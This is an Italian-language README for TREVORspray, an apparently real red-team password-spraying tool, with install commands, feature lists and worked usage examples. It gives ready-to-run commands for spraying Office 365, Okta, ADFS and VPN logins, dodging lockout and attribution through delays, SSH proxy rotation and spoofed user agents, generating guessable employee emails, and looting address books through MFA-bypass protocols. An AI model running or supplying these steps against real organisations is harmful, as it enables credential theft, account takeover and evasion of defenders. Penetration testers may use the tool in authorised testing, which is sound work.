TREVORspray 2.0

TREVORspray è uno spruzzatore di password modulare con threading, proxy SSH, moduli di loot e altro ancora!

Di @thetechr0mancer

Installazione:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Consulta il Post del blog per un divertente sfogo e alcune demo interessanti!

Caratteristiche

• Thread, molti thread
• Moduli multipli
  • msol (Office 365)
  • adfs (Active Directory Federation Services)
  • owa (Outlook Web App)
  • okta (Okta SSO)
  • anyconnect (Cisco VPN)
  • moduli personalizzati (facili da creare!)
• Indica lo stato di ogni account: se esiste, è bloccato, ha MFA abilitato, ecc.
• Annullamento/ripresa automatici (ricorda le combinazioni già tentate in ~/.trevorspray/tried_logins.txt)
• Proxy round-robin tramite più IP con --ssh o --subnet
• Riconnessione/riprova automatica infinita se un proxy cade (o se perdi la connessione)
• Spoofa User-Agent e altre firme per sembrare traffico di autenticazione legittimo
• Registrazione completa
• --delay, --jitter e --lockout-delay opzionali tra le richieste per bypassare le contromisure di blocco
• Supporto IPv6
• Supporto bypass MFA O365 (disabilita con --no-loot)
  • IMAP
  • SMTP
  • POP
  • EWS (Exchange Web Services) - Recupera automaticamente la GAL (Global Address Book)
  • EAS (Exchange ActiveSync)
    • Bypass consigliato: app BlueMail Android
  • EXO (Exchange Online PowerShell)
  • UM (Exchange Unified Messaging)
  • AutoDiscover - Recupera automaticamente la OAB (Offline Address Book)
  • Accesso al portale Azure
• Ricognizione del dominio --recon con le seguenti funzionalità:
  • elencare record MX/TXT
  • elencare informazioni O365
    • ID tenant
    • nome tenant
    • altri domini tenant
    • URL SharePoint
    • url di autenticazione, autodiscover, configurazione federazione, ecc.
  • Enumerazione utenti (usa --recon e --users):
    • OneDrive
    • Azure Seamless SSO

Come fare - O365

• Prima, ottieni una lista di email per corp.com ed esegui uno spray per vedere se la configurazione predefinita funziona. Di solito funziona.
• Se TREVORspray dice che le email nella tua lista non esistono, non arrenderti. Ottieni il token_endpoint con --recon corp.com. Il token_endpoint è l'URL contro cui eseguirai lo spray (con l'opzione --url).
• Potrebbe essere necessario un po' di sperimentazione prima di trovare la giusta combinazione di token_endpoint + formato email.
  • Ad esempio, se stai attaccando corp.com, potrebbe non essere così semplice come fare spray su corp.com. Potresti scoprire che la società madre Evilcorp possiede il tenant Azure di Corp, il che significa che devi fare spray contro il token_endpoint di evilcorp.com. Inoltre, potresti scoprire che il dominio interno corp.local viene utilizzato al posto di corp.com.
  • Quindi alla fine, invece di fare spray con [email protected] contro il token_endpoint di corp.com, fai spray con [email protected] contro quello di evilcorp.com.

Esempio: Eseguire una ricognizione su un dominio (recupera informazioni tenant, autodiscover, record MX, ecc.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Esempio: Enumerare utenti tramite OneDrive (nessun login fallito)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

Esempio: Fare spray contro l'URL "token_endpoint" scoperto

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Esempio: Fare spray con ritardo di 5 secondi tra le richieste

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Esempio: Fare spray e round-robin tra 3 IP (viene utilizzato anche l'IP corrente, a meno che non sia specificato -n)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Esempio: Trovare nomi utente validi senza OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Estrarre dati dai file LZX scaricati

Quando TREVORspray bypassa con successo l'MFA e recupera una Offline Address Book (OAB), la rubrica viene scaricata in formato LZX in ~/.trevorspray/loot. LZX è un algoritmo di compressione antico e fastidioso utilizzato da Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Aiuto:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)